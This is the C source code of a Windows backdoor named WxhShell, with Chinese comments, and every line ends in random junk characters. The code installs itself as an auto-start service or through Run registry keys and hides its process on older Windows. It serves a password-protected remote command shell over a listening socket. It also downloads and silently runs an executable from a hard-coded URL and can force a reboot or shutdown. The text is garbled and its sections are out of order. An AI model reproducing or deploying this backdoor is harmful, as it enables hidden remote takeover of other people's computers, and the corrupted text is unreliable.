    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u82h6s<'W  
    else { IO^:FnJJv  
    closesocket(wsh); ~g*Y, Y  
    ExitThread(0); hyJ ded&D  
    } 79 TPg  
    break; +.S#=  
    } J 5Wz4`'  
  // 获取shell j?Cr31  
  case 's': { y>>vGU;  
    CmdShell(wsh); qUifw @  
    closesocket(wsh); _{lx*dq  
    ExitThread(0); ;,<r|.6U  
    break; ".Lhte R?  
  } ay=KfY5  
  // 退出 q1U&vZ3]c  
  case 'x': { i:V0fBR[>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rn5"o8|  
    CloseIt(wsh); : : F!   
    break; 8.*\+nH  
    } "|(rVj=  
  // 离开 aUKh}) B  
  case 'q': { UedvA9$&;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /!^L69um  
    closesocket(wsh); <Gn8B^~$  
    WSACleanup(); 4kWg>F3  
    exit(1); ]|Ow_z8 O  
    break; N8,EI^W8Z  
        } - P\S>G.  
  } 8FB\0LA!g  
  } nw~/~eM5=  
!S~,> ,yd  
  // 提示信息 O3_D~O ."  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _L?v6MTj  
} b^uP^](J  
  } <^CYxy  
I++W0wa.n  
  return; xIS\4]F?r  
} gV<0Hj  
]]\)=F`n77  
// shell模块句柄 qgwv=5|  
int CmdShell(SOCKET sock) T r SN00  
{ J!=](s5|  
STARTUPINFO si; !T<z'zZU  
ZeroMemory(&si,sizeof(si)); ` (7N^@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zWF 5m )-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )9; (>cdl  
PROCESS_INFORMATION ProcessInfo; R2Twm!1  
char cmdline[]="cmd"; [>b  '}4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2q`)GCES~  
  return 0; i0,%}{`  
} Ul '~opf  
c+@d'yR  
// 自身启动模式 o,*folL  
int StartFromService(void) #g@  
{ 4(` 2#  
typedef struct 9X 5*{f Y  
{ a/`c ef  
  DWORD ExitStatus; T)b3N| ONB  
  DWORD PebBaseAddress; iifc;62  
  DWORD AffinityMask; a"`g"ZRx  
  DWORD BasePriority; ) 1lJ<g#  
  ULONG UniqueProcessId; /W"Bf  
  ULONG InheritedFromUniqueProcessId; s5c! ^,L8  
}   PROCESS_BASIC_INFORMATION; (Wm/$P;  
d%}crM-KTL  
PROCNTQSIP NtQueryInformationProcess; r4;5b s6wm  
^m6k@VM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YH /S2D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Z#_X@NFc  
D__lqboz  
  HANDLE             hProcess; anHBy SI3  
  PROCESS_BASIC_INFORMATION pbi; el <<D  
fOqS|1rC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L LYHr  
  if(NULL == hInst ) return 0; Ov $N"  
B6tcKh9d,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1$='`@8I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^4u3Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?RgU6/2  
pr0@sri@  
  if (!NtQueryInformationProcess) return 0; c[wQJc  
OoAr%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JVJ1Ay/be  
  if(!hProcess) return 0; j33P~H~  
*=-__|t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WmT}t  
$$2S*qY  
  CloseHandle(hProcess);  At`1)  
% j[O&[s}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &+E'1h10  
if(hProcess==NULL) return 0; !.;xt L   
BiHiVhD_  
HMODULE hMod; ]wkSAi5z*  
char procName[255]; }S~ysQwT  
unsigned long cbNeeded; 88tFB  
l5\B2 +}7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b qg]DO$*  
/%J&/2Wz  
  CloseHandle(hProcess); < "L){$  
G1#Bb5q:  
if(strstr(procName,"services")) return 1; // 以服务启动 RE`J"&  
AiyvHt  
  return 0; // 注册表启动 1jUhG2y  
} rZ8Y=) e  
(n":] 8}  
// 主模块 WuP([8  
int StartWxhshell(LPSTR lpCmdLine) X/`#5<x  
{ :/yr(V{  
  SOCKET wsl; [6,]9|~  
BOOL val=TRUE; J'G`=m"-'  
  int port=0; .R$+#_  
  struct sockaddr_in door; s0XRL1kWr  
5CY@R  
  if(wscfg.ws_autoins) Install(); YA^wUx  
<FcPxZ  
port=atoi(lpCmdLine); *f0.=?  
)AnlFO+V  
if(port<=0) port=wscfg.ws_port; h30QCk  
DJ mQZ+{2  
  WSADATA data; (PsSE:r}+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RB lOTQjv  
0_,3/EWa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X YNUss  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |g?/~%7  
  door.sin_family = AF_INET; O, ``\(P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kh:#S|   
  door.sin_port = htons(port); ;G%wc!  
j$|Yd=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N#pl mPrZ  
closesocket(wsl); hVT=j ?~  
return 1; DSDl[;3O{s  
} D<_,>{$gW  
}QWTPRn  
  if(listen(wsl,2) == INVALID_SOCKET) { RKo P6LGw  
closesocket(wsl); :{wsd$Qlj  
return 1; 0XQ".:+h  
} I9*BENkR  
  Wxhshell(wsl); s_ GK;;  
  WSACleanup(); BuEQ^[Ex  
@R'g@+{I  
return 0; 9U}MXY0  
Mk'n~.mb  
} \c9t]py<.h  
48~m=mI  
// 以NT服务方式启动 l# !@{ <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NDIc?kj~  
{ p(x1D]#Z[  
DWORD   status = 0; ^O$[Y9~*  
  DWORD   specificError = 0xfffffff; +]S;U&vQ  
H4y1Hpa,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; So)KI_M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (v'lb!j^#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Y ><ih  
  serviceStatus.dwWin32ExitCode     = 0; 0'\FrG  
  serviceStatus.dwServiceSpecificExitCode = 0; k@t,[  
  serviceStatus.dwCheckPoint       = 0; G3_mWppH  
  serviceStatus.dwWaitHint       = 0; YA;8uMqh;  
XD+cs.{5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * 0&i'0>  
  if (hServiceStatusHandle==0) return; 5QL9 w3L  
/SqFP L]  
status = GetLastError(); CJ}@R.Zy  
  if (status!=NO_ERROR) S,`Sq8H  
{ q*RaX 4V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ltr;pc*)  
    serviceStatus.dwCheckPoint       = 0; !7ZfT?&  
    serviceStatus.dwWaitHint       = 0; bW 86Iw  
    serviceStatus.dwWin32ExitCode     = status; Iu1Sj`A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3|83Jnh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7!>5e)C}  
    return; t5jhpPVf  
  }  ,3@15j  
:E >n)_^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7>2j=Y_Kp  
  serviceStatus.dwCheckPoint       = 0; S"KTL*9D  
  serviceStatus.dwWaitHint       = 0; JIY ^N9_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hyvV%z Z  
} V&,<,iNN  
jC/JiI  
// 处理NT服务事件,比如:启动、停止 (;2J(GZ:$U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {ck  
{ :LIKp;  
switch(fdwControl) l6`d48U  
{ 2;?wN`}5g=  
case SERVICE_CONTROL_STOP: 1&@wb'MBs.  
  serviceStatus.dwWin32ExitCode = 0; "mP*}VF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p=`x  
  serviceStatus.dwCheckPoint   = 0; X,!OWz:[  
  serviceStatus.dwWaitHint     = 0; se n{f^U  
  { ~gi( 1<#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [^(R1K  
  } >e$^# \D  
  return; h4B#T'b  
case SERVICE_CONTROL_PAUSE: 2GD mZl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F&L?J_=  
  break; { Sliy'  
case SERVICE_CONTROL_CONTINUE: aD/,c1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xZ @O"*{  
  break; zIYr0k*%  
case SERVICE_CONTROL_INTERROGATE: VU+s7L0  
  break; WlQ&Yau  
}; Etr8lm E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S4:\`Lo-;  
} {u_k\m[Y  
E]eqvTNH  
// 标准应用程序主函数 %*Z2Gef?H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }PIGj}F/  
{ ;DgX"Uzm  
9CU6o:'fW  
// 获取操作系统版本 )V$!  
OsIsNt=GetOsVer(); 3~3(G[w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dI0>m:RBz  
hA,rSq  
  // 从命令行安装 sO4}kxZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! ?U^+)^$  
Mevyj;1t  
  // 下载执行文件 (+Kof  
if(wscfg.ws_downexe) { C"` 'Re5)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NK#"qK""k  
  WinExec(wscfg.ws_filenam,SW_HIDE); %]sEt{  
} ]BQWA  
:V-}Sde  
if(!OsIsNt) { }zS&H-8K  
// 如果时win9x,隐藏进程并且设置为注册表启动 6 9I.*[  
HideProc(); seV;f^-hR  
StartWxhshell(lpCmdLine); &CeF^   
} :: 72~'tw  
else >yT@?!/Q>'  
  if(StartFromService()) `E0.PV  
  // 以服务方式启动 AGJ=de.  
  StartServiceCtrlDispatcher(DispatchTable); 8.%a"sxr  
else OD/P*CQ_  
  // 普通方式启动 HxqV[|}0u  
  StartWxhshell(lpCmdLine); 7F9g:r/^  
$?A Uk  
return 0; dZiWVa  
} u*-<5& X  
L z>{FOR  
rNzhP*Fw  
s)DNLx  
=========================================== `J ,~hK  
/'=^^%&:B  
89- 8v^ Pq  
J!fc)h  
=#")G1A  
19-yM`O  
" Y <i}"eI*  
-MW(={#   
#include <stdio.h> 4k2c mM$  
#include <string.h> E0B2>V  
#include <windows.h> *Qwhi&k  
#include <winsock2.h> |`;1p@w"  
#include <winsvc.h> :2Rci`lp  
#include <urlmon.h> 8J?`_  
X-r,>o:  
#pragma comment (lib, "Ws2_32.lib") !#4HGjPI  
#pragma comment (lib, "urlmon.lib") kR~4O$riG  
mF:s-+  
#define MAX_USER   100 // 最大客户端连接数 ABe^]HlH  
#define BUF_SOCK   200 // sock buffer !2M[  
#define KEY_BUFF   255 // 输入 buffer K2o0L5Lke  
-[7,ph  
#define REBOOT     0   // 重启 #.L0]Uqcp  
#define SHUTDOWN   1   // 关机 3) Awj++  
)I-?zyL  
#define DEF_PORT   5000 // 监听端口 pW^ ?g|_}  
}~~^ZtJ\  
#define REG_LEN     16   // 注册表键长度 I4X+'fW,  
#define SVC_LEN     80   // NT服务名长度 G@<lwnvD*J  
XoQk'7"f  
// 从dll定义API j72] _G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wu;|(2I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -%gd')@SfD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Odjd`DD1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KPe.AK,8  
;Owu:}   
// wxhshell配置信息 'CAukk|  
struct WSCFG { i|{nj\6w^  
  int ws_port;         // 监听端口 0uJzff!|  
  char ws_passstr[REG_LEN]; // 口令 DCzPm/#b  
  int ws_autoins;       // 安装标记, 1=yes 0=no lJY=*KB(6  
  char ws_regname[REG_LEN]; // 注册表键名 <RVtLTd/  
  char ws_svcname[REG_LEN]; // 服务名 +rpd0s49  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (tLQX~Ur  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a`X&;jH0ef  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =X5&au o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &vvx"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N\e@$1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Au*?)X- $  
ygY+2  
}; !vp!\Zj7o  
jh](s U  
// default Wxhshell configuration m7eIhmP  
struct WSCFG wscfg={DEF_PORT, $D\l%y/C  
    "xuhuanlingzhe", x,G6`|Hl  
    1, $$f$$  
    "Wxhshell", (U(x[Df)  
    "Wxhshell", r<"/P`r  
            "WxhShell Service", ~teW1lMu(  
    "Wrsky Windows CmdShell Service", EA E\Xv  
    "Please Input Your Password: ", TaO;r=2  
  1, ;fME4Sp  
  "http://www.wrsky.com/wxhshell.exe", GE+csnA2  
  "Wxhshell.exe" K 0H!Ds9  
    }; J6Nw-qF  
T*~)9o  
// 消息定义模块 O36r ,/X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9v,8OK)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m`q> _*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \.|A,G=  
char *msg_ws_ext="\n\rExit.";  CF92AY  
char *msg_ws_end="\n\rQuit."; ^&/&I9z  
char *msg_ws_boot="\n\rReboot..."; .eXA.9 |jm  
char *msg_ws_poff="\n\rShutdown..."; 'J0s%m|j  
char *msg_ws_down="\n\rSave to "; hg=G//  
0F'UFn>{  
char *msg_ws_err="\n\rErr!"; rAw1g,&  
char *msg_ws_ok="\n\rOK!"; NKhR%H  
u0hbM9U>  
char ExeFile[MAX_PATH]; z n8ig/C  
int nUser = 0; NG!Q< !Y  
HANDLE handles[MAX_USER]; OmbKx&>YGz  
int OsIsNt; "$cT*}br  
24/~gft  
SERVICE_STATUS       serviceStatus; 6="&K_Q7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .p~;U|h"  
Vy~$%H94  
// 函数声明 fQ4$@  
int Install(void); q=i<vcw  
int Uninstall(void); LK/V]YG  
int DownloadFile(char *sURL, SOCKET wsh); n$Fm~iPo,  
int Boot(int flag); H{zuIN/.1  
void HideProc(void); W2Z]?l;vQQ  
int GetOsVer(void); B{(l 5B6  
int Wxhshell(SOCKET wsl); x i,wL0{  
void TalkWithClient(void *cs); P]{.e UB@c  
int CmdShell(SOCKET sock); -"K:ve(K  
int StartFromService(void); U)]natB  
int StartWxhshell(LPSTR lpCmdLine); #%tL8/K*  
A"VXs1>_^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k 0Yixa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `b'J*4|oGo  
pAmI ](  
// 数据结构和表定义 u$p|hd d  
SERVICE_TABLE_ENTRY DispatchTable[] = gdY/RDxn:  
{ .: ;Hh~  
{wscfg.ws_svcname, NTServiceMain}, e"mfJY  
{NULL, NULL} Ayt!a+J  
}; F <Z=%M3e  
',7Z1O  
// 自我安装 ,)G+h#Y[*  
int Install(void) J c^ozw  
{ f_XCO=8'v  
  char svExeFile[MAX_PATH]; :"IH*7xp  
  HKEY key; G{=$/&St  
  strcpy(svExeFile,ExeFile); F|{?GV%hF  
i>zyn-CuW  
// 如果是win9x系统,修改注册表设为自启动 G_4P)G3H  
if(!OsIsNt) { l #z`4<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =@XR$Uud6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5D*V%v  
  RegCloseKey(key); FWTl:LqFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YKd?)$J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Qozud\?  
  RegCloseKey(key); jhM|gV&  
  return 0; PQ]N>'v-  
    } %'O(Y{$Y.  
  } x:lf=D lA  
} l= S_#  
else { FuBRb(I  
^- Ji]5~  
// 如果是NT以上系统,安装为系统服务 W<7Bq_L[|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H/{3 i  
if (schSCManager!=0) 7}.(EZ0  
{ =K8h)B_g  
  SC_HANDLE schService = CreateService OAOmd 4  
  ( 0k<%l6Bq  
  schSCManager, 6I![5j  
  wscfg.ws_svcname, S-|$sV^cG  
  wscfg.ws_svcdisp, Ooy96M~_G  
  SERVICE_ALL_ACCESS, -bfd><bs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [' 1?'*  
  SERVICE_AUTO_START, *E_= 8OV  
  SERVICE_ERROR_NORMAL, f |5|n>*  
  svExeFile, &>+Z$ZD  
  NULL, r:-WfDz.  
  NULL, Z3{Qtysuv3  
  NULL, 5UyK1e))  
  NULL, xGL"N1  
  NULL QLl44*@  
  ); Fj4:_(%nG  
  if (schService!=0) 1+iiiVbMH  
  { 0X w?}  
  CloseServiceHandle(schService); W#\4"'=I  
  CloseServiceHandle(schSCManager); 3I(H.u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oGJI3Oh  
  strcat(svExeFile,wscfg.ws_svcname); 6fyW6xv[,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?GZs5CnS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e~dU "  
  RegCloseKey(key); 0g4cyK~n]  
  return 0; W>Kn *Dy8~  
    } (qdk &  
  } VZR6oia  
  CloseServiceHandle(schSCManager); :+$_(* Z  
} >=Veu; A  
} 0IuU4h5Fr  
ly+7klQ;.  
return 1; B4=gMVp1  
} enM 3  
(@9}FHJzi  
// 自我卸载 u}_q'=<\  
int Uninstall(void) ]d FWIvC  
{ 8nM]G4H.f  
  HKEY key; ?'r[P03  
}e)ltp|  
if(!OsIsNt) { q9^r2OO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dl6zl6q?  
  RegDeleteValue(key,wscfg.ws_regname); z)Gr`SA<  
  RegCloseKey(key); >EjBk nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b-XBs7OAx  
  RegDeleteValue(key,wscfg.ws_regname); FliN@RNo  
  RegCloseKey(key); "`zw(  
  return 0; |kD?^Nx  
  } T^W8_rm *3  
} 0)#I5tEre  
} B}.ia_&DLR  
else { HAXx`r<  
[gDvAtTZ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /hHD\+0({  
if (schSCManager!=0) O.!?O(  
{ '|.u*M,b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zzs pE}  
  if (schService!=0) DlP=R  
  { j43HSY7@  
  if(DeleteService(schService)!=0) { N !:&$z-  
  CloseServiceHandle(schService); = 8n*%NC  
  CloseServiceHandle(schSCManager); ]up:pddIh  
  return 0; }Na*jr0y9{  
  } h 9/68Gc?6  
  CloseServiceHandle(schService); yL1\V7GI{[  
  } O;r8l+  
  CloseServiceHandle(schSCManager); #0tM88Wi  
} F7d f  
} 0@KBQv"v  
aqlYB7  
return 1; mz''-1YY$  
} ?*g]27f11  
2C>PxA6l  
// 从指定url下载文件 }v{F9dv  
int DownloadFile(char *sURL, SOCKET wsh) "[G P)nC  
{ ~ lS3+H  
  HRESULT hr; M II]sF  
char seps[]= "/"; zKZ6Qjd8!  
char *token; 8u4]@tJH  
char *file; 4YJs4CB  
char myURL[MAX_PATH]; LQ._?35r  
char myFILE[MAX_PATH]; );C !:?  
;J<kG@  
strcpy(myURL,sURL); : &]%E/  
  token=strtok(myURL,seps); : f Wh7X3  
  while(token!=NULL) f3O3pIA  
  { K>-m8.~\E  
    file=token; 6Dch+*4*@  
  token=strtok(NULL,seps); >13=4S  
  } }  ?  
:98Pe6  
GetCurrentDirectory(MAX_PATH,myFILE); l#%w,gX  
strcat(myFILE, "\\"); na~ r}7 7o  
strcat(myFILE, file); OT zh=Z^r  
  send(wsh,myFILE,strlen(myFILE),0); #Ew}@t9  
send(wsh,"...",3,0); ^I^k4iw 4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !#3R<bW`R8  
  if(hr==S_OK) *+iWB_  
return 0; [@(zGb8  
else |h;MA,qva  
return 1; FD8aO?wvg  
E+_ }8J .  
} "8N]1q:$4  
Yq.Omr!  
// 系统电源模块 yRAb HG,c  
int Boot(int flag) {3?g8e]zr  
{ E: %%Dm  
  HANDLE hToken; BZE19!  
  TOKEN_PRIVILEGES tkp; OLv(  
edm&,ph]  
  if(OsIsNt) { =,sMOJ c>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c~cYNW:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?x:\RNB/  
    tkp.PrivilegeCount = 1; _)ERi*}x8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #3.\}d)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); btee;3`  
if(flag==REBOOT) { 4Hu.o7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UOq$88sr  
  return 0; *Owq_)_ (|  
} UO</4WJ  
else { K[sfsWQ.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y- g5`@  
  return 0; &u8BGMl2  
} <yeG0`}t  
  } :R _(+EK1  
  else { pNDL:vMWP  
if(flag==REBOOT) { upWq=_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  B} :[~R'  
  return 0; %_5B"on  
} %H:!/'45  
else { WL>"hkx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0L|A  
  return 0; M6?*\ 9E  
} !X8:#a(  
} a7ZPV1k  
kfn5y#6NZ  
return 1; k;"=y )@o  
} Z_S~#[\7^]  
>RRb8=[J  
// win9x进程隐藏模块 Rj-<tR{  
void HideProc(void) ]NN9FM.2b/  
{ J)66\h=  
C8i}~x<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s`&8tP  
  if ( hKernel != NULL ) FFPO?y$  
  { T*z >A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O||M |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I#m5Tl|#  
    FreeLibrary(hKernel); "=HCP,  
  } :H6Ipa  
<V9L AWeS  
return; 9Y~A2C  
} ppS,9e-  
!J.qH%S5   
// 获取操作系统版本 m7fmQUk  
int GetOsVer(void) ze]2-B4  
{ 7kHEY5s "  
  OSVERSIONINFO winfo; :o=[Zp~B4d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m"NZ;*d'  
  GetVersionEx(&winfo); |nB2X;K5~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \DpXs[1  
  return 1; |eJ4"OPC  
  else M&xfQNE   
  return 0; m>~%. (/x  
} cs,%Zk.xjw  
<$_B J2Z  
// 客户端句柄模块 ]7Tjt A.\q  
int Wxhshell(SOCKET wsl) Wn<3|`c  
{ _a^%V9t  
  SOCKET wsh; y$7<ZBG  
  struct sockaddr_in client; 9)'L,Xt4:T  
  DWORD myID; In5' (UHW:  
lQY?!oj&q  
  while(nUser<MAX_USER) 5nQ*%u\$Z  
{ Ar N*9  
  int nSize=sizeof(client); a6fMx~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8v_HIx0xu  
  if(wsh==INVALID_SOCKET) return 1; 6;k#|-GU&  
$s$z"<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hC=9%u{r?  
if(handles[nUser]==0) V07e29w  
  closesocket(wsh); x)h5W+$  
else y#o ,Vg*V  
  nUser++; 6*le(^y`  
  } +-1t]`9k4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #toKT_  
1 @tVfn}  
  return 0; Y[#i(5w  
} T dlF~ca|  
Oe5=2~4O  
// 关闭 socket 1@im+R?a  
void CloseIt(SOCKET wsh) ?dY}xE  
{ 9U^jsb<St>  
closesocket(wsh); aj85vON1`  
nUser--; x/ lW=EQ  
ExitThread(0); XzIhFX6  
} G BV]7.  
\E5%.KR  
// 客户端请求句柄 ,~p'p)  
void TalkWithClient(void *cs) VD#`1g<  
{ |W<wPmW_{+  
-=I*{dzly  
  SOCKET wsh=(SOCKET)cs; B>Mr /'  
  char pwd[SVC_LEN]; x!"S`AM  
  char cmd[KEY_BUFF]; Tj$D:xKf)  
char chr[1]; =rFgOdj  
int i,j; 3FR'N%+  
UB|f{7~&  
  while (nUser < MAX_USER) { i!@L`h!rw  
t ]7>' U  
if(wscfg.ws_passstr) { 8HS1^\~(6l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `9SuDuw;s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 18jI6$DY  
  //ZeroMemory(pwd,KEY_BUFF); l1 fP@|  
      i=0; `D6Bw=7  
  while(i<SVC_LEN) { p(fYpD  
S;[9 hI+  
  // 设置超时 # XE`8$  
  fd_set FdRead; VQI  
  struct timeval TimeOut; 9 N[k ?kUZ  
  FD_ZERO(&FdRead); c$ya{]a  
  FD_SET(wsh,&FdRead); ov.7FZ+  
  TimeOut.tv_sec=8; 6&5p3G{%0  
  TimeOut.tv_usec=0; }J$Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x'tYf^Va28  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n$i}r\ so  
c&vY0/ [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \#Ez["mD  
  pwd=chr[0]; sS7r)HV&GI  
  if(chr[0]==0xd || chr[0]==0xa) { VC,wQb1J/  
  pwd=0; ?{ns1nW:  
  break; I'%vN^e^  
  } qc;9{$?xV  
  i++; &_n~#Mex  
    } rf?Q# KM\W  
f^\qDvPur  
  // 如果是非法用户,关闭 socket Q5b~5a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /"Ws3.p  
} q^ lx03   
WB<_AIt+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xj~5/)XX|X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o[pv.:w  
r PWn  
while(1) { 8(J&_7u  
=QXLr+ y@  
  ZeroMemory(cmd,KEY_BUFF); |7KW'=O  
\W Kly  
      // 自动支持客户端 telnet标准   Y).5(t7zaR  
  j=0; !c,=%4Pb  
  while(j<KEY_BUFF) { H.cN(7LXm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G41 gil6k  
  cmd[j]=chr[0]; [9| 8p$  
  if(chr[0]==0xa || chr[0]==0xd) { {eo4J&as  
  cmd[j]=0; s=9gp$9m  
  break; -F\xZ  
  } `&]<_Jc1  
  j++; 'S]7:/CI  
    } mv_N ns  
'_!j9A]g  
  // 下载文件 Q[+&n*  
  if(strstr(cmd,"http://")) { <J" 7ufHSQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XG2&_u&  
  if(DownloadFile(cmd,wsh)) frV *+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|-*amh  
  else Qvo(2(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,w&8 &wj  
  } [^sv.  
  else { A<-Prvryt  
+iKs)s_~  
    switch(cmd[0]) { r;m_@*]  
  xDv5'IGBb  
  // 帮助 x|C[yu^c  
  case '?': { I{#&!h>]U  
